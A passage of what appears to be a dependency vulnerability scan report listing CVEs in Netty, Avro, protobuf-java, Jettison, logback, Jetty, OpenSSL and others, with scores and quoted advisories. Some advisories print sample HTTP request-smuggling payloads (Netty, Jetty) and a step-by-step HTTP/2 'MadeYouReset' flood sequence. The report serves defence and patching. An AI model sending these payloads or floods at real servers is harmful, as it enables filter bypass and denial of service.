Leitschuh - -
-
- -medium 5.9: CVE--2021--21409 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score2.547%
EPSS Percentile85th percentile
- -
Description -
- -### Impact -The content-length header is not correctly validated if the request only use a single Http2HeaderFrame with the endStream set to to true. This could lead to request smuggling if the request is proxied to a remote peer and translated to HTTP/1.1 - -This is a followup of https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj which did miss to fix this one case. - -### Patches -This was fixed as part of 4.1.61.Final - -### Workarounds -Validation can be done by the user before proxy the request by validating the header. - -
-
- -medium 5.9: CVE--2021--21295 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.360%
EPSS Percentile58th percentile
- -
Description -
- -### Impact -If a Content-Length header is present in the original HTTP/2 request, the field is not validated by `Http2MultiplexHandler` as it is propagated up. This is fine as long as the request is not proxied through as HTTP/1.1. -If the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (`HttpRequest`, `HttpContent`, etc.) via `Http2StreamFrameToHttpObjectCodec `and then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling. - -In a proxy case, users may assume the content-length is validated somehow, which is not the case. If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked. - -An attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1. A sample attack request looks like: - -``` -POST / HTTP/2 -:authority:: externaldomain.com -Content-Length: 4 - -asdfGET /evilRedirect HTTP/1.1 -Host: internaldomain.com -``` - -Users are only affected if all of this is `true`: - * `HTTP2MultiplexCodec` or `Http2FrameCodec` is used - * `Http2StreamFrameToHttpObjectCodec` is used to convert to HTTP/1.1 objects - * These HTTP/1.1 objects are forwarded to another remote peer. - - -### Patches -This has been patched in 4.1.60.Final - -### Workarounds -The user can do the validation by themselves by implementing a custom `ChannelInboundHandler` that is put in the `ChannelPipeline` behind `Http2StreamFrameToHttpObjectCodec`. - -### References -Related change to workaround the problem: https://github.com/Netflix/zuul/pull/980 - -
-
- -medium : CVE--2019--20445 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
EPSS Score2.837%
EPSS Percentile86th percentile
- -
Description -
- -HttpObjectDecoder.java in Netty before 4.1.44 allows a Content-Length header to be accompanied by a second Content-Length header, or by a Transfer-Encoding header. - -
-
-
-
critical: 1 high: 1 medium: 0 low: 0 org.apache.avro/avro 1.11.2 (maven) - -pkg:maven/org.apache.avro/avro@1.11.2
-critical 9.3: CVE--2024--47561 Deserialization of Untrusted Data - - - - - - - - -
Affected range<1.11.4
Fixed version1.11.4
CVSS Score9.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
EPSS Score0.543%
EPSS Percentile67th percentile
- -
Description -
- -Schema parsing in the Java SDK of Apache Avro 1.11.3 and previous versions allows bad actors to execute arbitrary code. -Users are recommended to upgrade to version 1.11.4 or 1.12.0, which fix this issue. - -
-
- -high 7.5: CVE--2023--39410 Improper Input Validation - - - - - - - - -
Affected range<1.11.3
Fixed version1.11.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.061%
EPSS Percentile19th percentile
- -
Description -
- -When deserializing untrusted or corrupted data, it is possible for a reader to consume memory beyond the allowed constraints and thus lead to out of memory on the system. - -This issue affects Java applications using Apache Avro Java SDK up to and including 1.11.2. Users should update to apache-avro version 1.11.3 which addresses this issue. - -
-
-
-
critical: 1 high: 0 medium: 0 low: 0 org.apache.kerby/kerb-admin 1.0.1 (maven) - -pkg:maven/org.apache.kerby/kerb-admin@1.0.1
-critical 9.8: CVE--2023--25613 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range<2.0.3
Fixed version2.0.3
CVSS Score9.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.189%
EPSS Percentile41st percentile
- -
Description -
- -An LDAP Injection vulnerability exists in the LdapIdentityBackend of Apache Kerby before 2.0.3.  - -
-
-
-
critical: 0 high: 4 medium: 2 low: 0 com.google.protobuf/protobuf-java 3.7.1 (maven) - -pkg:maven/com.google.protobuf/protobuf-java@3.7.1
-high 8.7: CVE--2024--7254 Improper Input Validation - - - - - - - - -
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.077%
EPSS Percentile23rd percentile
- -
Description -
- -### Summary -When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. - -Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team - -Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -### Severity -[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) -This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. - -### Proof of Concept -For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. - -### Remediation and Mitigation -We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: -* protobuf-java (3.25.5, 4.27.5, 4.28.2) -* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) -* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) - -
-
- -high 7.5: CVE--2022--3510 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.073%
EPSS Percentile22nd percentile
- -
Description -
- -A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. - -
-
- -high 7.5: CVE--2022--3509 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
- -
Description -
- -A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. - -
-
- -high 7.5: CVE--2021--22569 Incorrect Behavior Order - - - - - - - - -
Affected range<3.16.1
Fixed version3.16.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.291%
EPSS Percentile52nd percentile
- -
Description -
- -## Summary - -A potential Denial of Service issue in protobuf-java was discovered in the parsing procedure for binary data. - -Reporter: [OSS-Fuzz](https://github.com/google/oss-fuzz) - -Affected versions: All versions of Java Protobufs (including Kotlin and JRuby) prior to the versions listed below. Protobuf "javalite" users (typically Android) are not affected. - -## Severity - -[CVE-2021-22569](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22569) **High** - CVSS Score: 7.5, An implementation weakness in how unknown fields are parsed in Java. A small (~800 KB) malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated GC pauses. - -## Proof of Concept - -For reproduction details, please refer to the oss-fuzz issue that identifies the specific inputs that exercise this parsing weakness. - -## Remediation and Mitigation - -Please update to the latest available versions of the following packages: - -- protobuf-java (3.16.1, 3.18.2, 3.19.2) -- protobuf-kotlin (3.18.2, 3.19.2) -- google-protobuf [JRuby gem only] (3.19.2) - - -
-
- -medium 5.7: CVE--2022--3171 Improper Input Validation - - - - - - - - -
Affected range<3.16.3
Fixed version3.16.3
CVSS Score5.7
CVSS VectorCVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.074%
EPSS Percentile23rd percentile
- -
Description -
- -## Summary -A potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. - -Reporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771) - -Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -## Severity - -[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication) - -## Remediation and Mitigation - -Please update to the latest available versions of the following packages: - -protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) -google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6) - - -
-
- -medium 5.5: CVE--2021--22570 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range<3.15.0
Fixed version3.15.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.150%
EPSS Percentile36th percentile
- -
Description -
- -Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. - -
-
-
-
critical: 0 high: 4 medium: 1 low: 0 org.codehaus.jettison/jettison 1.1 (maven) - -pkg:maven/org.codehaus.jettison/jettison@1.1
-high 7.5: CVE--2023--1436 Uncontrolled Recursion - - - - - - - - -
Affected range<1.5.4
Fixed version1.5.4
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.024%
EPSS Percentile6th percentile
- -
Description -
- -An infinite recursion is triggered in Jettison when constructing a JSONArray from a Collection that contains a self-reference in one of its elements. This leads to a StackOverflowError exception being thrown. - -
-
- -high 7.5: CVE--2022--45693 Out-of-bounds Write - - - - - - - - -
Affected range<1.5.2
Fixed version1.5.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.135%
EPSS Percentile34th percentile
- -
Description -
- -Jettison before v1.5.2 was discovered to contain a stack overflow via the map parameter. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted string. - -
-
- -high 7.5: CVE--2022--45685 Out-of-bounds Write - - - - - - - - -
Affected range<1.5.2
Fixed version1.5.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
- -
Description -
- -A stack overflow in Jettison before v1.5.2 allows attackers to cause a Denial of Service (DoS) via crafted JSON data. - -
-
- -high 7.5: CVE--2022--40150 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<1.5.2
Fixed version1.5.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.055%
EPSS Percentile17th percentile
- -
Description -
- -Those using Jettison to parse untrusted XML or JSON data may be vulnerable to Denial of Service attacks (DOS). If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by Out of memory. This effect may support a denial of service attack. - -
-
- -medium 6.5: CVE--2022--40149 Stack-based Buffer Overflow - - - - - - - - -
Affected range<1.5.1
Fixed version1.5.1
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.521%
EPSS Percentile66th percentile
- -
Description -
- -Those using Jettison to parse untrusted XML or JSON data may be vulnerable to Denial of Service attacks (DOS). If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow. This effect may support a denial of service attack. - -
-
-
-
critical: 0 high: 3 medium: 0 low: 0 io.netty/netty-codec-http2 4.1.96.Final (maven) - -pkg:maven/io.netty/netty-codec-http2@4.1.96.Final
-high 8.2: CVE--2025--55163 Allocation of Resources Without Limits or Throttling - - - - - - - - -
Affected range<=4.1.123.Final
Fixed version4.1.124.Final
CVSS Score8.2
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.173%
EPSS Percentile39th percentile
- -
Description -
- -Below is a technical explanation of a newly discovered vulnerability in HTTP/2, which we refer to as “MadeYouReset.” - -### MadeYouReset Vulnerability Summary -The MadeYouReset DDoS vulnerability is a logical vulnerability in the HTTP/2 protocol, that uses malformed HTTP/2 control frames in order to break the max concurrent streams limit - which results in resource exhaustion and distributed denial of service. - -### Mechanism -The vulnerability uses malformed HTTP/2 control frames, or malformed flow, in order to make the server reset streams created by the client (using the RST_STREAM frame). -The vulnerability could be triggered by several primitives, defined by the RFC of HTTP/2 (RFC 9113). The Primitives are: -1. WINDOW_UPDATE frame with an increment of 0 or an increment that makes the window exceed 2^31 - 1. (section 6.9 + 6.9.1) -2. HEADERS or DATA frames sent on a half-closed (remote) stream (which was closed using the END_STREAM flag). (note that for some implementations it's possible a CONTINUATION frame to trigger that as well - but it's very rare). (Section 5.1) -3. PRIORITY frame with a length other than 5. (section 6.3) -From our experience, the primitives are likely to exist in the decreasing order listed above. -Note that based on the implementation of the library, other primitives (which are not defined by the RFC) might exist - meaning scenarios in which RST_STREAM is not supposed to be sent, but in the implementation it does. On the other hand - some RFC-defined primitives might not work, even though they are defined by the RFC (as some implementations are not fully complying with RFC). For example, some implementations we’ve seen discard the PRIORITY frame - and thus does not return RST_STREAM, and some implementations send GO_AWAY when receiving a WINDOW_UPDATE frame with increment of 0. - -The vulnerability takes advantage of a design flaw in the HTTP/2 protocol - While HTTP/2 has a limit on the number of concurrently active streams per connection (which is usually 100, and is set by the parameter SETTINGS_MAX_CONCURRENT_STREAMS), the number of active streams is not counted correctly - when a stream is reset, it is immediately considered not active, and thus unaccounted for in the active streams counter. -While the protocol does not count those streams as active, the server’s backend logic still processes and handles the requests that were canceled. - -Thus, the attacker can exploit this vulnerability to cause the server to handle an unbounded number of concurrent streams from a client on the same connection. The exploitation is very simple: the client issues a request in a stream, and then sends the control frame that causes the server to send a RST_STREAM. - -### Attack Flow -For example, a possible attack scenario can be: -1. Attacker opens an HTTP/2 connection to the server. -2. Attacker sends HEADERS frame with END_STREAM flag on a new stream X. -3. Attacker sends WINDOW_UPDATE for stream X with flow-control window of 0. -4. The server receives the WINDOW_UPDATE and immediately sends RST_STREAM for stream X to the client (+ decreases the active streams counter by 1). - -The attacker can repeat steps 2+3 as rapidly as it is capable, since the active streams counter never exceeds 1 and the attacker does not need to wait for the response from the server. -This leads to resource exhaustion and distributed denial of service vulnerabilities with an impact of: CPU overload and/or memory exhaustion (implementation dependent) - -### Comparison to Rapid Reset -The vulnerability takes advantage of a design flow in the HTTP/2 protocol that was also used in the Rapid Reset vulnerability (CVE-2023-44487) which was exploited as a zero-day in the wild in August 2023 to October 2023, against multiple services and vendors. -The Rapid Reset vulnerability uses RST_STREAM frames sent from the client, in order to create an unbounded amount of concurrent streams - it was given a CVSS score of 7.5. -Rapid Reset was mostly mitigated by limiting the number/rate of RST_STREAM sent from the client, which does not mitigate the MadeYouReset attack - since it triggers the server to send a RST_STREAM. - -### Suggested Mitigations for MadeYouReset -A quick and easy mitigation will be to limit the number/rate of RST_STREAMs sent from the server. -It is also possible to limit the number/rate of control frames sent by the client (e.g. WINDOW_UPDATE and PRIORITY), and treat protocol flow errors as a connection error. - -As mentioned in our previous message, this is a protocol-level vulnerability that affects multiple vendors and implementations. Given its broad impact, it is the shared responsibility of all parties involved to handle the disclosure process carefully and coordinate mitigations effectively. - - -If you have any questions, we will be happy to clarify or schedule a Zoom call. - -Gal, Anat and Yaniv. - -
-
- -high 7.5: GHSA--xpw8--rcwv--8f8p Uncontrolled Resource Consumption - - - - - - -
Affected range<4.1.100.Final
Fixed version4.1.100.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- -
Description -
- -A client might overload the server by issue frequent RST frames. This can cause a massive amount of load on the remote system and so cause a DDOS attack. - -### Impact -This is a DDOS attack, any http2 server is affected and so you should update as soon as possible. - -### Patches -This is patched in version 4.1.100.Final. - -### Workarounds -A user can limit the amount of RST frames that are accepted per connection over a timeframe manually using either an own `Http2FrameListener` implementation or an `ChannelInboundHandler` implementation (depending which http2 API is used). - -### References -- https://www.cve.org/CVERecord?id=CVE-2023-44487 -- https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/ -- https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps/ - -
-
- -high 7.5: CVE--2023--44487 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range<4.1.100
Fixed version4.1.100.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score94.427%
EPSS Percentile100th percentile
- -
Description -
- -The HTTP/2 protocol allows a denial of service (server resource consumption) because request cancellation can reset many streams quickly, as exploited in the wild in August through October 2023. - -
-
-
-
critical: 0 high: 2 medium: 0 low: 0 net.minidev/json-smart 1.3.2 (maven) - -pkg:maven/net.minidev/json-smart@1.3.2
-high 7.5: CVE--2023--1370 Uncontrolled Recursion - - - - - - - - -
Affected range<2.4.9
Fixed version2.4.9
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.012%
EPSS Percentile1st percentile
- -
Description -
- -### Impact -Affected versions of [net.minidev:json-smart](https://github.com/netplex/json-smart-v1) are vulnerable to Denial of Service (DoS) due to a StackOverflowError when parsing a deeply nested JSON array or object. - -When reaching a ‘[‘ or ‘{‘ character in the JSON input, the code parses an array or an object respectively. It was discovered that the 3PP does not have any limit to the nesting of such arrays or objects. Since the parsing of nested arrays and objects is done recursively, nesting too many of them can cause stack exhaustion (stack overflow) and crash the software. - -### Patches -This vulnerability was fixed in json-smart version 2.4.9, but the maintainer recommends upgrading to 2.4.10, due to a remaining bug. - -### Workarounds -N/A - -### References -- https://www.cve.org/CVERecord?id=CVE-2023-1370 -- https://nvd.nist.gov/vuln/detail/CVE-2023-1370 -- https://security.snyk.io/vuln/SNYK-JAVA-NETMINIDEV-3369748 - -
-
- -high 7.5: CVE--2021--31684 Out-of-bounds Read - - - - - - - - -
Affected range>=1.3.0
<1.3.3
Fixed version1.3.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.117%
EPSS Percentile31st percentile
- -
Description -
- -A vulnerability was discovered in the indexOf function of JSONParserByteArray in JSON Smart versions prior to 1.3.3 and 2.4.5 which causes a denial of service (DOS) via a crafted web request. - -
-
-
-
critical: 0 high: 1 medium: 2 low: 1 ch.qos.logback/logback-core 1.2.10 (maven) - -pkg:maven/ch.qos.logback/logback-core@1.2.10
-high 7.1: CVE--2023--6378 Deserialization of Untrusted Data - - - - - - - - -
Affected range<1.2.13
Fixed version1.2.13
CVSS Score7.1
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
EPSS Score0.613%
EPSS Percentile69th percentile
- -
Description -
- -A serialization vulnerability in logback receiver component part of logback allows an attacker to mount a Denial-Of-Service attack by sending poisoned data. - -This is only exploitable if logback receiver component is deployed. See https://logback.qos.ch/manual/receivers.html - -
-
- -medium 5.9: CVE--2025--11226 Improper Input Validation - - - - - - - - -
Affected range<1.3.16
Fixed version1.5.19
CVSS Score5.9
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:H/UI:P/VC:H/VI:L/VA:L/SC:H/SI:L/SA:L
EPSS Score0.071%
EPSS Percentile22nd percentile
- -
Description -
- -QOS.CH logback-core versions up to 1.5.18 contain an ACE vulnerability in conditional configuration file processing in Java applications. This vulnerability allows an attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting a malicious environment variable before program execution. - -A successful attack requires the Janino library and Spring Framework to be present on the user's class path. Additionally, the attacker must have write access to a configuration file. Alternatively, the attacker could inject a malicious environment variable pointing to a malicious configuration file. In both cases, the attack requires existing privileges. - -
-
- -medium 5.9: CVE--2024--12798 Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') - - - - - - - - -
Affected range<1.3.15
Fixed version1.3.15
CVSS Score5.9
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L/RE:L/U:Clear
EPSS Score0.290%
EPSS Percentile52nd percentile
- -
Description -
- -ACE vulnerability in JaninoEventEvaluator by QOS.CH logback-core up to and including version 1.5.12 in Java applications allows attackers to execute arbitrary code by compromising an existing logback configuration file or by injecting an environment variable before program execution. - -Malicious logback configuration files can allow the attacker to execute arbitrary code using the JaninoEventEvaluator extension. - -A successful attack requires the user to have write access to a configuration file. Alternatively, the attacker could inject a malicious environment variable pointing to a malicious configuration file. In both cases, the attack requires existing privilege. - -
-
- -low 2.4: CVE--2024--12801 Server-Side Request Forgery (SSRF) - - - - - - - - -
Affected range<1.3.15
Fixed version1.3.15
CVSS Score2.4
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:L/VI:N/VA:L/SC:H/SI:H/SA:H/V:D/U:Clear
EPSS Score0.048%
EPSS Percentile15th percentile
- -
Description -
- -Server-Side Request Forgery (SSRF) in SaxEventRecorder by QOS.CH logback version 1.5.12 on the Java platform, allows an attacker to forge requests by compromising logback configuration files in XML. - -The attacks involves the modification of DOCTYPE declaration in  XML configuration files. - -
-
-
-
critical: 0 high: 1 medium: 2 low: 0 org.eclipse.jetty/jetty-server 9.4.51.v20230217 (maven) - -pkg:maven/org.eclipse.jetty/jetty-server@9.4.51.v20230217
-high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release - - - - - - - - -
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.074%
EPSS Percentile23rd percentile
- -
Description -
- -In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. - -
-
- -medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
- -
Description -
- -### Impact -Remote DOS attack can cause out of memory - -### Description -There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which -can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By -repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the -server's memory. - -### Affected Versions - -* Jetty 12.0.0-12.0.8 (Supported) -* Jetty 11.0.0-11.0.23 (EOL) -* Jetty 10.0.0-10.0.23 (EOL) -* Jetty 9.3.12-9.4.55 (EOL) - -### Patched Versions - -* Jetty 12.0.9 -* Jetty 11.0.24 -* Jetty 10.0.24 -* Jetty 9.4.56 - -### Workarounds - -Do not use `ThreadLimitHandler`. -Consider use of `QoSHandler` instead to artificially limit resource utilization. - -### References - -Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 - -
-
- -medium 5.3: CVE--2023--40167 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16, 12.0.1
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
- -
Description -
- -### Impact - -Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. - -### Workarounds - -There is no workaround as there is no known exploit scenario. - -### Original Report - -[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. - -Payload: - -``` - POST / HTTP/1.1 - Host: a.com - Content-Length: +16 - Connection: close - ​ - 0123456789abcdef -``` - -When sending this payload to Jetty, it can successfully parse and identify the length. - -When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. - -This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. - -
-
-
-
critical: 0 high: 1 medium: 2 low: 0 openssl 3.3.3-r0 (apk) - -pkg:apk/alpine/openssl@3.3.3-r0?os_name=alpine&os_version=3.20
-high : CVE--2025--9230 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.026%
EPSS Percentile7th percentile
- -
Description -
- - - -
-
- -medium : CVE--2025--9231 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
- -
Description -
- - - -
-
- -medium : CVE--2025--9232 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.028%
EPSS Percentile7th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 1 medium: 1 low: 0 org.eclipse.jetty/jetty-server 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-server@9.4.52.v20230823
-high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release - - - - - - - - -
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.074%
EPSS Percentile23rd percentile
- -
Description -
- -In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. - -
-
- -medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
- -
Description -
- -### Impact -Remote DOS attack can cause out of memory - -### Description -There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which -can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By -repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the -server's memory. - -### Affected Versions - -* Jetty 12.0.0-12.0.8 (Supported) -* Jetty 11.0.0-11.0.23 (EOL) -* Jetty 10.0.0-10.0.23 (EOL) -* Jetty 9.3.12-9.4.55 (EOL) - -### Patched Versions - -* Jetty 12.0.9 -* Jetty 11.0.24 -* Jetty 10.0.24 -* Jetty 9.4.56 - -### Workarounds - -Do not use `ThreadLimitHandler`. -Consider use of `QoSHandler` instead to artificially limit resource utilization. - -### References - -Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 - -
-
-
-
critical: 0 high: 1 medium: 1 low: 0 com.nimbusds/nimbus-jose-jwt 9.8.1 (maven) - -pkg:maven/com.nimbusds/nimbus-jose-jwt@9.8.1
